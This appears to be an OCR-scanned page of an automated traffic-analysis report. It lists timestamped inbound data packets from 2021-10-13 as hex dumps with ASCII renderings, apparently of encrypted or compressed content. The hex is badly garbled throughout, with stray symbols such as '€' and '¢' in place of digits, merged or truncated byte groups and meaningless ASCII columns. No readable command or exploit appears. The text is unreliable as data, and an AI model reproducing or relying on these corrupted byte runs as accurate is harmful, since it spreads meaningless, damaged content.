€6 8f b2 a8 20 7a de ca c6 8b fa ab 3e 40 dc 13 6d 4f e7 86 ef 39 01 ed {7 ce 44 bd 5f c6 a3 ac 21 47 3e 24 46 b2 81 20 03
41 1b ec 3d 9d 01 47 9c ab Oc 3c 1c 35 c2 e4
Data Ascii: "rljab=(JUZAW(mZD"*G7k8A0GXx->t7# -K'tmfa-)gmMk]%Hd2-"a,Ldn"iimof)*6{ z>@mO9D_!G>$F A=G<5

2021-10-13 11:06:38 UTC 77 IN Data Raw: ff a5 11 63 e4 7c 47 03 f9 94 91 65 82 3f 9b 08 b3 7e 2c dd 78 c0 af af 7e b9 99 5a 8b c9 da be f2 b6 87 21 30
c1 00 7a5e a9 da d6 69 06 76 94 7f 18 36 49 e8 e7 aa f8 98 99 0f 27 47 6d 49 93 95 c4 96 40 95 al 53 fa 71 41 2f 6a le
37 b7 fb ac 30 f1 f3 ad 67 fc 90 44 52 90 d8 c1 66 15 6e ch 88 6e 29 20 26 67 b0 87 cc 03 82 58 79 9b 90 22 12 97 b1 73
5 16 98 b2 9a 30 f6 88 06 e4 9a fe b5 ad 06 7f Of ea 2a fa d6 fO 81 9e 26 99 30 b2 d9 fb c4 8¢ d5 73 08 65 8a el 27 90 55
98 66 €3 f5 26 0d b3 db 47 6d 74 d1 e5 ab 58 74 a6 54 75 a5 3a a9 ca 60 f2 88 0f 67 29 d0 bd b4 43 a5 04 5f cb ca 79 52
do0 d5 bf 9f b9 7d 1d 2d 8f 5d 21 2a f1 c3 ec ee 29 d9 30 9a a0 48 7c al 92 93 53 44 89 10 01 b2 47 ec 84 db 35 c5 ad 10
98 a9 8¢ 76 7e 8f 9f ff 90 53 75 21 d6 2d 63 01 e2
Data Ascii: ¢|Ge?~,x~Z!0z"iv6I'GmI@SgA/j70gDRfnn) &gXy"s0*&0se'Uf&GmtXtTu: 'g)C_yR}-]!*)0H|SDG5v~Su!-c
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Timestamp transferred Direction Data

2021-10-13 11:06:38 UTC 79 IN Data Raw: 26 44 06 9d 3c 3f 20 7f 13 35 7f cf 84 41 73 58 2b 80 e7 bf fb da 67 5d 8d d6 6b 4a c2 32 52 1c 8c 8f 3f Of 05 4b
70 b8 44 b9 d8 b4 03 11 6d a4 fO be 61 8c 7 33 bd 15 b5 23 b5 96 2b 2e 84 b3 77 d7 ca ac 5d 94 9b 4f 3b 25 80 b6 41 Oa
70 00 Oe 32 5b 95 6d f7 86 80 47 08 60 bd d7 a6 93 8e 4a Oc el 00 df a3 4e fe ae 5e 1a bc 76 d5 52 66 f8 ef e4 d4 28 6d
52 51 4b d5 Ob 56 ac 85 36 ff 96 d7 76 cd db 2a 60 d0 b0 db 54 9a 69 7a cd 1b e0 2a c6 d6 90 82 9f 56 84 82 01 b5 71 1a
c9 22 48 d5 fa 4a 00 b6 c2 8e 3b Ob 61 ca e8 d1 56 ba ba ba Ob d3 d5 9b 7c a9 14 fe 55 03 a8 77 a7 e2 24 08 bd fe 7c 21
90 29 ec d9 5b 8e df b6 €8 24 77 4a 73 7f 74 dc 90 2f bf 02 b4 6a 86 4e bl c5 ae 5f 86 ea 26 25 c2 13 61 da 19 d4 41 e8
7e db 92 f7 26 d1 6e 8f 54 68 05 ae 8b 3d 6a cc b2
Data Ascii: &D<? 5AsX+g]kJ2R?KpDma3#+.w]O;%Ap2[mG INAVR(MRQKV6V* Tiz*Vq"HJ;aV|Uws$|!)[$wIst/jN_&%aA~
&nTh=j

2021-10-13 11:06:38 UTC 80 IN Data Raw: dc bc bc 8b 10 el b8 dd 26 4 41 99 15 60 31 b6 9e 24 8f d7 da ff 52 bc bf 9b €7 c9 14 ad e4 25 13 c7 48 81 bf
32 3f f5 fc f0 6¢ 58 55 00 a5 53 c8 03 2e 96 77 cf a0 Of 72 b5 ca ba eb ec 13 98 99 82 ¢9 06 30 ff b3 51 2f 86 bc 5¢ 67 8
21 1c 7c fc 4a 54 02 d5 96 1a 68 9d 18 9c 8d 2e 54 31 d7 65 ff dO ab 1a f2 b9 d6 8f e3 f8 20 {7 d4 cd 01 d5 c5 2a 7a c2 af
d6 c2 74 4d c2 92 60 3d 2f 0f 74 f0 a3 d5 ac 8f 93 26 4f b4 68 7e 97 dc 9d dc 94 a8 85 db d3 43 38 61 82 36 b0 2c 8d e2 f3
d8 af d0 19 8d 15 18 46 d8 c5 4c ab 6a d7 de 24 ce 20 22 4d 2c 81 d3 3c ad 7d e5 b5 8f 0f 0d e4 2d 75 fb 2e 8f 05 87 2f
de bf 73 e5 b6 fc 31 a0 19 48 06 5d b7 dO cb d6 9c 02 27 9e fc 93 29 f9 ef 8e 62 96 15 2d fe ee bb 92 60 8e 7b dO 14 4b
12 86 ff cd 6d 74 d1 6a 9d 45 42 ae ca 75 a5
Data Ascii: &A"1$R%H2?IXUS.wrOQ/g!|JTh.T1e *ztM =/t&Oh~C8a6,FLj$ "M,<}-u./s1H])b- {KmtjEBu

2021-10-13 11:06:38 UTC 81 IN Data Raw: d8 ed 86 b6 25 1 59 ff 80 Oc 48 a3 78 45 6a cf 08 88 c2 8b 38 78 c3 8b da d5 d9 24 bl e8 b3 e8 7e 7d 40 71
38 fd db 62 2c 4a 4c 4c 6a 98 c1 b6 eb c¢6 13 50 52 bb 16 15 64 5d 4f 9a a3 27 bd 07 4c ef b8 51 df 8e aa 4e 4c 84 c8 96
63 0d ca 0d b5 08 2d ac 46 60 13 7c e7 3a 3b 71 21 52 db e7 b9 9e 92 79 54 98 df 68 73 8b 21 ac 1b cf a4 2a 1c 04 24 5a
b2 5b ad 24 da 6d 12 46 a7 cb b2 a0 76 08 3c f8 3d b7 30 8f fc 78 66 84 b5 75 13 88 ad 4c 84 94 4c 4a 20 88 a7 dO 23 5e
02 1c 51 Oe 9c 75 0f 85 c3 0a Ob 1e 1d d4 8e d6 9d 62 98 8f 28 d7 a8 5d 9d f9 57 Oc 44 5d e7 43 41 {6 ef c4 cd d6 6¢c 76
53 60 c6 36 90 af 09 36 f8 8b 2e 6d €6 57 85 71 Oa d8 d9 ab 9b 4f 52 da 10 e0 3e ee 2d 91 5b 9d 7d 86 05 e2 b7 1b 77 c4
09 Of ff d1 50 fd ca 95 8b 3f 1b 1a d3 e5 d1 4c 9d 46 bb
Data Ascii: %YHXE|8x$~}@q8b,JLLjPRA]O’'LQNLc-F |:;q!RyThs!*$Z[$mFv<=0xfuLLJ #"Qub(JWD]CAIVS'66.mWqOR>-
[WP?LF

2021-10-13 11:06:38 UTC 82 IN Data Raw: 74 9f 50 63 5b 9e 85 c9 66 7 87 24 6d 2d cc 54 4b 6e 8b 2d 45 eb 41 77 6e 2e cf a3 9e ae 9d 1f 2a 97 Oc 20 06
e2ea 9056 cadb 41 e0 8866 78 8bba 87 7e 19 e6 6e 92 b6 6d e6 92 f3 08 f5 af 1a a6 9a 8e 5d e0 8b el 7d 86 58 54 2¢
fe 04 74 ff e9 56 5b a4 07 9f 8f c7 55 5e b4 7 81 d0 57 e2 27 69 b4 ae 94 7e 8a f4 83 30 a3 99 36 2a 37 a3 56 10 le 70 4e
71 ecadebc5d3c4e56626e772c3882fc6ebf217 dd 04 c3 80 a8 cc 74 b7 82 cc 62 62 14 4d 39 d9 3d ec 54 35 5b
64 83 e4 82 b6 29 d4 3b f8 ef 31 59 a5 6f 41 bb dc 0a 90 d1 a2 29 79 ef 86 cc cc ¢4 41 bb 8d 4c 1d a9 df 56 62 35 eb e2
47 32 b4 47 76 63 81 c1 8f 53 ea 63 57 3d 71 07 1c 1la 7b 5e 96 d7 19 ab 2f ¢7 ¢5 07 53 ¢9 05 bb 66 62 85 dc 88 61 16 62
04 9d c2 3e 20 7f Of df 7d cf 84 3c 60 27 15 b5 e5
Data Ascii: tPc[f$m-TKn-EAwn.* VAfx~nm]}XT,tV[UW'i~06*7VpNgf&r/tbbM9=T5[d);1Y0A)yALVb5G2GvcScW=q{"/Sfhab>
K"

2021-10-13 11:06:38 UTC 83 IN Data Raw: 40 65 Oa b8 ba 23 8c f5 1b 74 a9 14 c1 14 0f a9 70 aa e5 3a ee 42 d3 52 34 98 2b 90 09 a5 8f {7 3a 48 1e 63
5466 81 7c €9 6¢ 05 91 2d 41 42 7 3f b1 cc b0 8b a5 c4 3c 5b bd 0d b7 d2 38 ff 68 ef 6f 90 56 {7 Oe d5 e0 38 4b b2 34 13
8b 1c 5ada b2 ce 66 ad 39 a2 2b 49 ee ea 3f ea 57 90 a9 8d 05 f1 38 18 f5 8c 30 82 a3 88 3f a9 dd de 06 el 8e b9 Oe 46
c3 b5 61 4f ee 2a fe ¢7 11 d7 ea 17 5e 62 5f c4 8b b8 30 4e 2f d6 58 8¢ 89 36 00 42 01 1b 3c a0 11 8b 3e aa 20 11 25 25
d4 68 9b d4 f9 79 bf 91 fd el 6¢c 90 ed fc 71 39 30 34 11 3e d5 da 06 86 36 4a 4a b8 1a 03 8a 15 5e ce 87 f0 35 79 70 88
02 93 63 3a ba 35 d6 b4 d1 64 0b 34 ae b9 90 28 85 9d b9 9c 2b 73 a0 a2 97 b6 fa 79 3c 88 24 dc e5 5d ¢9 72 50 bb 15
e5 8d 5f 9¢c 9c de 24 db 38 {7 49 da 14 60 3b 06 f5 2a 9c
Data Ascii: @e#tp:BR4+:HcTf|l-AB?<[8hoV8K4Zf9+I?W80?Fa0* b_0N/X6B<> %%hylq904>61I"5ypc:5d4(+sy<$]rP_$8I";*

2021-10-13 11:06:38 UTC 84 IN Data Raw: cf f5 04 36 02 31 42 b0 96 c3 0f 9a a4 78 9f b1 20 69 59 b1 73 e0 73 ad 9b 81 3a e9 f5 8b da b4 fc a7 8e 46 7a
19 1e 3d 96 47 19 75 61 3e a8 dd bc f5 €8 e0 91 cd 6e Ob 32 c0 e3 5¢ 5¢ 7f ba 60 93 b6 4f 0d b9 c6 07 1e 4b d3 6 91 72
34 8c 54 7f b3 df 81 cd 71 e4 9c 10 6f 26 d7 bb 45 5d b1 f8 46 ec c3 46 ee 29 d4 93 82 97 65 12 2a 86 ac 3f 4f 0d e9 c2 fe
€8 d9 48 e7 aa 26 af Of aa fe d4 38 e5 16 72 88 6f ec 8e a5 65 7 af 1a 98 ed 8e 76 e5 8d e4 29 86 58 5a 49 93 28 74 5 cb
06 6a af 25 99 ca c5 53 5e 06 dd 82 d0 51 fe 7e 7d c¢8 12 85 71 9f f6 6¢ 36 9c 9a 22 3e 30 64 ca 54 d7 70 4c 06 36 b6 cO
df dd df e7 79 49 17 7c dc a0 c2 cc c0 f5 15 e4 3b c3 fb 68 a3 b8 b3 8b d7 7a e4 b4 0a 44 56 33 df 56 28 69 a9 ff 47 b9 48
22524 ¢7 9b 01 5b a5 7a 6a 72 c0 19 92 d2
Data Ascii: 61Bx iYss:Fz=Gua>n2\\'OKr4Tqo&E]FF)e*?OH&8roev)XZI(tj%S"Q~}ql6">0dTpL6yl|;hzDV3V(IGH"$[zjr

2021-10-13 11:06:38 UTC 86 IN Data Raw: 4a Oa 8f 00 ee a2 44 9b d1 05 1la ba 56 a4 c0 57 fa €9 40 eb 28 6d 5b 42 4d db Of 4e 88 9e 27 f7 9e 3a 89 €0 f5
1f 6d 5c f1 cd aa 9a 54 7e dc 9c a6 2d de 29 b9 1a 9d 7d 8c 81 d1 b6 Oa 6b de ae 73 ff d8 49 2b f8 b8 8e 31 27 00 c8 e8
db 4f 95 ac a9 2c d3 c4 94 6b 8e ea ee 6f 01 bb d8 5a 1a cc 9 94 c1 71 39 8a 26 f4 e3 5b 8e df f7 fd 54 be 4d 6b 85 7d
e1 96 d2 32 02 57 68 ff 1a f8 c7 aa 7f a6 93 €3 58 be 17 67 ad 0d d6 41 e2 7c ee €3 c¢8 Oc d1 64 a7 1d 6a 05 b5 b5 74 43
d7 b8 ce 66 c5 8f el 3d 5f e3 €0 4b 24 a9 91 81 90 03 e0 1c 9c €3 94 f9 b6 5a 81 22 77 cf c4 c1 c6 b0 be 3f 40 ¢3 07 20 5¢
el 99 ef ¢8 1f df 07 1f 4a 9c 56 d5 82 b1 30 4e a2 37 54 ca 56 4c 29 5e 12 12 3c b1 18 97 80 f0 24 ac 34 21 c8 5d 3b cb
€6 6b a6 b9 d7 ec 73 da 02 f9 42 39 84 3e 15 3e d4
Data Ascii: JDVW@(m[BMN:m\T~-)}ksl+1'0,koZq9&[TMk}2WhXgA|djtCf=_K$Z"w?@ \JVON7TVL) <$4!];ksB9>>

2021-10-13 11:06:38 UTC 87 IN Data Raw: f9 7a fa 43 bb fb d1 b5 59 98 f0 f7 bc €0 c4 f1 6¢ ce c4 06 78 75 ac f1 74 98 f9 al be 7f 03 00 4e e8 87 bb 3 b3
34 0f 20 41 91 33 79 97 dc 99 43 16 26 b2 f6 1d 07 3e 61 1e 32 ac 76 93 1le 3 d2 b6 26 6¢ ad 3d 38 9a fO 84 4e 37 66 €0
b7 06 29 2a 3a 22 34 86 cc 16 c1 64 7b b3 9a 5¢c 51 93 b1 79 cc 44 91 99 8b bc 11 9f f8 e4 ba ea a0 a4 7d b3 19 14 2f fa
91 e5 f1 55 21 81 ca 3d 42 f4 ed 8¢ 85 5b 0a 1e e5 95 a6 94 7f bb 66 9b 43 4d 0d b7 51 da el 4b d1 f6 9a 52 5¢ bd 55 75
af b7 f3 ca 71 ee 94 f2 f1 03 d7 aa 48 6a c1 04 47 ca be 5d 44 2e cf ee 56 ae 76 19 01 84 al 28 2e a9 e8 ee cf dd 0d c6 dc
a0 48 7a 6 7b 91 50 3d f3 18 29 ec 6d ec 8e ¢8 37 e6 a9 28 21 ac 8c 76 ed 8c ec d0 84 58 54 24 bc 59 4b fd e3 4a 40 ee
2d b1 87 d6 55 4c bl 2b c6 d2 57 eb 1c 2f ¢5 12
Data Ascii: zCYIxutN4 A3yC&>a2v&I=8N7f)*:"4d{\QyD}/U!=B[fCMQKR\UugH]G]D.Vv(.Hz{P=)m7(IVXT$YKI@-UL+W/

2021-10-13 11:06:38 UTC 88 IN Data Raw: 93 95 99 66 5f fO 1c 68 62 84 44 6¢ 18 e3 ad 24 65 7c 1b 49 b9 4e 97 9a d9 41 1a 7b e2 fe 97 5e 89 f5 4e 19 3d
b7 27 b6 e8 7e f9 Ob 9f 75 b8 8a d6 8d 92 98 63 6a 2d a8 f9 2c 22 78 02 7f 9b Oe 94 69 f6 f7 d1 07 09 6a aa dc fd ed 89 4a
00 a6 69 df a3 4e 80 fd 2c 5f b8 5¢c ¢1 69 17 f8 ef c6 fc 6a 6f 5a 5b 5a c1 0c 50 08 b7 36 f8 83 52 ba el d9 36 dc bf a3 cc
aa 91 e7 40 75 10 e0 2d dc 53 5a ae 9d 79 8f b8 e4 61 85 4b c9 22 4e 84 08 48 03 cf a8 83 13 48 4a ca e2 d3 3e 4c b8 ba
27 d4 a6 a5 76 a9 le fe 4b 7b bc 6e a7 ef 1b b7 be d2 74 28 9f 5a ae cd a5 85 db 5 fd 2f 7d 65 29 83 75 fa 83 01 ac 24 d8
41 fd 32 b3 be 67 75 a4 ec 92 37 aa 12 61 d4 91 ff 15 ea 16 20 90 f7 0a d8 7f 89 8a e7 2f bf 9d 34 3a 07 b2 c7 74 42 35 8¢
2e 2d dd e8 36 fc b8 99 6 b0 2c f3 19 b4
Data Ascii: f_hbDI$e|INA{*N="~ucj-,"XijJiN,_\ijoZ[ZP6R6@u-SZyaK"NHHJI>L'VK{nt(Z/}e)u$A2gu7a /4:tB5.-6,

2021-10-13 11:06:38 UTC 89 IN Data Raw: d9 c2 74 c4 8f a3 aa 4b de 8e 85 69 23 Oc d5 7b 34 97 23 3f 69 f0 4d 73 56 28 06 b7 64 1f 27 c0 90 60 42 3b 09
6d af c6 ff 66 e0 1a ac 48 89 55 06 8d f3 a6 04 a7 94 8b el 78 fd b7 Oc ef dc 6a b9 03 c3 be 77 6f 82 32 af f4 99 17 2c f4
01 27 4c ad 01 a4 18 5a 8f e2 €9 b8 e6 1d 63 34 30 c5 2b 52 16 ab c9 ec 1f 27 5e 94 64 65 fc 49 e8 f2 be 88 7f 82 0f 24
41 97 4e ae 93 46 b5 dc 92 b7 a7 59 4c 47 2f b7 0d 34 be 01 bc 14 cd 95 51 b3 e0 90 3d 43 59 d8 c5 48 30 e3 e3 f5 04 2b
5b f7 4d b0 83 db 7a 68 58 02 74 90 22 16 ff 69 c9 8b 86 92 99 87 1a f1 8c c8 e7 b6 d6 ad a6 06 7e 19 14 3a c0 df cc 91
9e 26 96 30 b2 d9 fb f7 85 fe 97 1c e0 e0 cd 25 83 74 ba 63 f8 76 4c 21 b1 f4 6f 46 97 d3 8d 50 5a 74 8a da c2 8f 9f a9 d9
41 e783517c29d7 a2 4a4298 10 4ceb 91 7e
Data Ascii: tKi#{4#?iMsV(d" B;mfHUxjwo2,'LZc40+R"del$ANFYLG/4Q=CYHO+[MzhXt"i~:&0%tcvL!oFPZtAQ|)JBL~
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kBytes
Timestamp transferred Direction Data

2021-10-13 11:06:38 UTC 91 IN Data Raw: 9d ce 68 e3 ae ef dd c8 24 99 af 55 17 83 62 40 69 1b 69 cb 69 34 a7 44 40 51 8b c8 a7 60 c5 63 51 53 ae Oa
3c 11 7d 4f 9a 35 06 a9 2f cc fe bf 46 c2 2b 12 4c 4c 83 ca 94 64 36 7b 1e a4 0f 1a 20 78 60 13 6e db 9c 2f 59 bd 7b 81 el
aa 9d 88 6d 75 5a d0 68 64 96 21 41 Oe f1 b3 2c 08 2f 24 4a b9 44 ac c9 c9 52 38 fh a3 f3 90 4d 80 84 17 d0 3d b1 30 b7
e8 70 3e 88 da 5d ba 88 ab 4b 81 9d 71 6a 2d Oe 07 39 f8 61 15 17 53 25 80 7c fc 95 el 94 1f 4e a9 c5 8b c5 5d 59 Of of
26 ca 7557 9f e8 51 Ob af 6d 2d 50 5b 8e 6e cc d4 29 7c 5f 46 91 d3 cb dO ac 9e 36 f9 a9 61 75 el d3 46 79 d0 b7 d6 b9
96 54 70 f2 57 el 2d d4 39 9c c1 85 7c 86 a3 8d 93 08 61 cf 34 5f fa cc 5b 05 dd a8 89 b5 b8 5¢ 10 fb ¢7 56 85 93 93 32
d4 c4 94 e5 bf 3a ¢8 52 Oe 92 6b b6 ea a2 €9 b3 b3 56
Data Ascii: h$Ub@iii4D@Q cQS<}O5/F+LLd6{ x n/Y{muZhd!A,/$IJDR8M=0p>]Kqj-9aS%|N]Y &UWQm-P[n)|_F6auFyTpW-
9lad_[\V2:RkV

2021-10-13 11:06:38 UTC 92 IN Data Raw: ca 02 ad 1c 99 44 90 21 10 8e 93 0d 7c 87 f1 17 4e 58 95 1b €9 35 29 b3 26 52 bc ea b5 02 6f 08 92 90 29 97
8b a6 8c 26 62 b4 ba 85 c6 4c 47 3c 86 1f bc e5 4c c6 7f aa ab 3d de 62 58 80 17 cd 33 f3 ea e5 61 2d 04 64 bd 51 98 3b
98 e0 d2 62 54 a9 db ed 40 c9 1e d7 69 26 26 df 68 31 ac 02 3a 69 41 ee 75 47 ec 9c a3 5d c4 30 ca ae db ce 3c 09 6d bf
df ea 66 14 0d a8 8d 9c 5¢ 11 27 78 bf 15 ac 92 b0 48 78 ec b7 05 70 1d 6b 95 Ob ed a9 87 6e 82 27 97 e5 b8 52 3f fc 65
fc b2 ac 29 dc 88 52 9e ea 76 Ob ¢3 19 1 39 23 cf 2a 6b 54 b6 d9 18 6a 2a 58 bf 96 07 21 5a e2 f6 ad f9 ac 8d f1 21 7c 94
5e ac 9f ¢3 8d 53 98 b7 bc f1 42 49 c6 60 32 3a be 03 ba ca e0 de b0 47 Oc 98 3f 29 9a c7 cc b2 36 40 c3 f2 15 2d ae 95
9b bb 98 ¢6 03 b8 5a 68 b9 8f 36 ec 90 9d 61 f5 05 85
Data Ascii: D!|[NX5)&R0)&bLG<L=bX3a-dQ;bT @i&&h1:iAuG]0<mf\'xHxpkn'R?e)RvI#*kTj*X!Z!|"SBI'2:G?)6@-Zh6a

2021-10-13 11:06:38 UTC 93 IN Data Raw: 96 6¢ 80 ed 97 25 b3 a0 8c 38 27 b4 7e 78 d5 70 4e 53 4f b7 c0 dd d1 d3 e5 70 4b 7d aa c3 82 38 cf 97 3c 1c
536 d7 1a d9 7c b8 b7 86 a9 ed 73 03 9d 28 b2 0 fc 45 23 7f 22 8b b8 82 b6 27 b6 45 fd 80 Oc 85 ed 40 7e 56 cf 19 89
ce 92 c5 68 e7 ae a4 dd c8 28 a7 5a 48 17 87 4a fd 63 33 fb ec 7f 21 b3 65 58 50 8a c2 79 ce cb 4b 66 52 bd 0d Of 19 7f 6f
9b b8 2d 29 07 18 €9 b8 51 el ac ac 4e 4a a3 ca 91 70 0d 51 0d b5 08 e4 20 68 67 2a fb ce 8e 3b 67 29 01 5d e7 b9 90
17 d1 4a 51 c3 b2 71 8f 24 59 22 2c a7 3d 0f 0d 5f 97 b9 44 bb cb d0 db 03 60 a0 88 4a 5e 89 f3 24 d9 2a 61 b9 ac 5 7a
54 59 b5 75 bc a4 e3 4c 94 89 6b 6f 08 56 b4 2e 24 64 8d 03 5d Oe 95 79 e5 90 c7 a6 09 60 bl fc 12 d2 8b 40 1b 82 3c 5
1d 46 91 ff 49 97 bd 5c cb 40 42 ee fb e4 77 28 6d 50 79
Data Ascii: 1%8'~xpNSOpK}8<6|s(E#"E@~Vh(ZHJc3!eXPyKfRo-)QNJIpQ hg*;0)]JQq$Y",=_D I"$*azTYuLkoV.$d]y"
@<F\@Bw(mPy

2021-10-13 11:06:38 UTC 95 IN Data Raw: 9d af e4 89 ae 9f 34 15 35 c1 dO c1 9d a6 2f 4c d6 23 e2 4f ee 99 f8 d6 Oe ae cd 1c 66 b7 49 d5 87 d7 ce 47 34
22 36 ca8e 20 00 4d 1f 03 31 99 a4 95 c0 ad 17 52 5f 23 c2 ee 88 e2 ff 69 a7 d6 f2 el 6¢ 90 ed f4 79 e6 d3 03 10 3e de
a3 44 b834 40 4c 81 2c 29 a4 1c 76 7a €8 9c 3d 55 53 b3 00 91 65 3a bd 43 1c b7 fd 65 7a d5 87 b9 9a 0f bd be b2 82 0a
02 bl ab 86 65 €6 44 34 b8 19 d6 e5 4a af 00 ac ba 33 ee 8d 50 8d 01 ef 4b ef 3b el 6b 44 79 62 31 20 be 2a 97 df 1f 70
5a b2 a6 aa 5b f7 42 52 87 dc 04 f2 58 20 b4 1a e4 6d fa €9 1a 2b 2e 9c a9 6a c¢3 28 d1 9c 63 e7 80 Ob 6d a8 c3 78 70 ea
Oc 859299 41 28 8¢c €2 ac 1a 9b 91 a3 42 72 92 d0 18 63 €9 4c a8 09 fd b2 85 6e 84 57 ef f4 b2 58 08 f8 7f fa 47 c2 d7
d0 99 50 de ed fc fa dd c2 ea 01 8b c4 2a 7a Oa 82 cd
Data Ascii: 45/L#0fIG4"6 M1R_#ily>D4@L,)vz=USe:CezeD4J3PK;kDyb1 *pZ[BRX m+.j(cmxpA(BrcLnWXGP*z

2021-10-13 11:06:38 UTC 96 IN Data Raw: 46 2e 92 93 9d ae 76 1d 2a 97 al 08 11 f3 e8 e4 c7 dc a6 aa f6 a0 4c 7b a3 3f 90 50 33 c9 1b 29 98 6f ec 82 a8
00 f7 af 1a ca ad 9a 44 e7 8b bf 11 79 58 5e Ob dd 02 5a fd e3 46 1b 8 2e b1l 87 bd 51 57 14 87 83 d0 53 e3 30 13 27 12
94 7a aa ff 92 24 80 8b 20 7c 27 b2 47 7f d7 70 4e 79 fc b2 e8 69 c3 d5 f2 73 61 89 72 ¢3 88 10 c6 c4 ce 1e f5 34 b2 a6 a0
a3 b2 cd 8c c2 5b fd 02 9b 20 e5 27 d4 6b 25 69 be 83 7e 80 b6 29 a3 2f e8 fd €7 5b a5 61 54 64 c1 1d ab a5 9a c6 7f 92
64 cb dd cc 04 8f 8f 4c 04 b1 66 52 a8 33 fd ca 69 32 b4 4d 62 78 9d c8 a7 e7 ec 75 2c be bd 07 18 12 6a 32 77 b8 2d ad
2d ce 90 5d 57 ¢9 07 af 4a 31 63 dc 82 73 27 49 0d f5 03 3a ad 52 60 13 7c b2 69 3b 71 2f 78 f2 94 bb 94 93 1b be 8b d4
6c 60 fb d4 52 1a e7 a5 52 40 Oe 24 41 bb 37 cc d8
Data Ascii: F.v*L{?P3)oDyX"ZF.QWSO0'z$ |GpNyisar4[ 'k%i~)/[aTddLfR3i2Mbxu,j2w--]WJ1cs'l:R[i;a/x'RR@$A7

2021-10-13 11:06:38 UTC 97 IN Data Raw: 28 9e 32 15 ce 89 85 f4 b2 82 c4 77 4d 6f 9d 66 f5 92 15 b8 36 5e 96 fc 1e bb cc c5 Oe ab e8 2f 47 b4 00 64 de
22 d1 5¢ 16 6¢ ¢7 99 ff 61 aa 6¢ 8f 56 76 16 ba 9d 27 44 ¢9 4c c6 5¢ 44 3f ab d7 59 55 eb 36 f0 da ed 87 8f 24 80 6e 9e 12
91 eb 96 ad 93 Ob 7a cf c5 cc 35 8f 86 28 46 e6 €6 67 f9 ef 99 f8 b4 7c ¢3 19 14 15 c0 5d c4 81 b4 3¢ 54 31 28 48 a5 96 de
0b 72 18 14 3b cc f3 97 c0 af 17 2e 31 21 d3 el b2 2a f8 54 aa ae d5 6 6¢ 8b f9 e7 64 ce bd 27 13 15 di f4 01 45 cb b
6a 8e 25 1a ba 1d 76 47 87 f0 3f 98 59 95 00 8e 68 3f b9 2f 2e c1 6a 6f 15 b8 96 bd 82 2d be d5 a2 8f 28 62 b5 a1 ac 4f fd
21 a8 90 37 d4 cf 4f e8 12 ac ba 33 de 06 50 55 1e c4 Oc ec 39 el 6b 26 3d 58 31 2a 92 €5 99 cf €3 63 55 b3 a8 bb 42 c9
34 ad 73 08 Oc d1 fd 31 bf 33 d5 6b d2 18 75
Data Ascii: (2wMof6//Gd"\lalVv'DL\D?YU6$nz5(Fg(]<T1(Hr;. 1¥TId' Ej%vG 2Yh?/.jo-(b0!1703PU9K&=X1*cUB4s13ku

2021-10-13 11:06:38 UTC 98 IN Data Raw: 4c ba 39 b0 db db 45 0d 61 a2 fb 8c a0 88 db 38 d5 43 24 23 bf f3 05 20 85 b5 71 a3 84 ad 55 85 66 66 57 22
98 bc 2e 2a 6f fe 05 71 07 93 6f 8¢ 8a ee 05 0d 7e b7 d4 86 cb 75 4b 26 84 2b f5 2¢ 45 91 f3 73 al a0 50 cb 49 4e 04 ee
€0 dc 5b d6 5b 51 4d cf 04 51 87 96 2d 06 80 05 73 ca 17 2e 67 dO bf d3 54 9a 69 72 dd 08 9d 3f df 28 95 b1 94 71 86 al
fd be f4 60 e5 28 4b fb a5 5b 02 cb bd 91 31 03 4b c2 fe 2f 44 a6 ba ad 2f d3 dd 84 7e 57 15 c3 41 23 86 54 fa 1a cc 09 bb
8 6d 09 98 29 4a cf a5 8f 22 b4 ff 3e 61 5e 6f b9 e7 f0 92 04 bd 38 53 70 03 33 9d c2 a9 62 97 b0 3c 4b ba 13 70 da 24 2a
40 c4 6e f3 83 f3 Oe c0 6a 93 a2 69 29 b3 9f 2f 47 a4 eb ¢7 70 59 34 93 3a 5a e3 fb 32 ef 57 90 a9 8a 39 f9 09 8f f6 9b {7
8d be 7e 0f 56 db eb 0d d0 9d ae 3e 51 c¢7 05 9e
Data Ascii: LOEa8C$# qUffW".*ogo~uK&+,EsPIN[[QMQ-s.gTir?(q" (K[1K/D/~WA#Tm)J">a”o8Sp3b<Kp$*@niji)/GpY4
:Z2W9~V>Q

2021-10-13 11:06:38 UTC 99 IN Data Raw: 2f 6b fd 81 fO 41 42 19 cc 9f d3 23 ¢6 89 65 dc 39 09 7c ab c9 Ob 76 c6 11 86 fd 83 54 00 2b e0 d7 00 b2 80 a7
54 7a 86 ad 1b 63 e7 e4 Oe 6d 7c 96 86 64 9f 2b 86 f6 a3 57 36 08 7b c7 43 af 7e c2 98 5a 8b f4 c3 5e 0f 34 11 38 23 cO
2a 6b 5b be 37 7 47 05 46 87 7a 18 21 4c 7 e6 42 f2 9f 8b 37 e6 ae 6¢ b7 a0 86 cf 98 40 83 b2 b7 05 5¢ 6f 3d 77 15 2b
bc 00 ad 0d 6 c7 a3 b2 1e be 37 30 87 Oe ¢9 53 3a 7f cd f5 15 2¢ 3f 29 b3 b1 ab d9 17 b0 21 77 b2 90 26 7d 17 b3 73 ee
09 49 21 56 3b ee 93 eb €0 b6 ed a8 b8 f8 79 35 1d 13 Oe 2a 18 75 81 28 92 cb b3 e4 fc f0 81 00 91 26 04 e3 e6 25 ef 6f
bb 64 e4 06 fa b5 64 bl e8 6b 1a 54 99 48 5b 74 88 4b 65 b6 9a a9 db 74 f2 7d 25 50 2a c0 b9 4f 42 98 03 58 d7 34 7f 68
2c ff 96 a5 47 8b e2 d5 bd b0 10 03 f3 ed ec ¢5 ca 03
Data Ascii: /kAB#e9|vT+Tzcm|d+W6{C~Z"48#*k[7GFz!LB7I@\o=w+70S:,?)!w&}s!!V;y5*u(&%oddkTH[tKet}%P*OBX4h,G

2021-10-13 11:06:38 UTC 100 IN Data Raw: cc 60 5d 1e 4d 60 5a 9d e2 a7 f6 de 60 51 7d bd 07 1c cb 7c 4f 8b cb al a9 2f c7 el ba 54 c1 6¢ 66 4f 4c 83 fO
8e 73 2d 06 78 b5 02 30 71 6e 6b cd 6¢ ch 9a 6a 67 20 a4 8b ef 95 92 91 09 Oa 8b d4 62 be 87 1d 52 1b f3 a7 3d 0d 0f 22
4b a4 67 bf d0 db 41 10 6d b9 c3 93 5e 8e 6 35 d2 el b7 23 ae fb 28 54 8a b4 75 bc fd 91 5d 92 99 4a 70 08 ae b2 2e 24
01 83 06 5d 04 ee 6f al eb 26 04 09 66 b1 fc 1d dO 8b 40 07 a6 bb df a3 4e 9d f0 21 89 ba 5¢ c1 69 96 fb ef ca c7 2c 6b 35
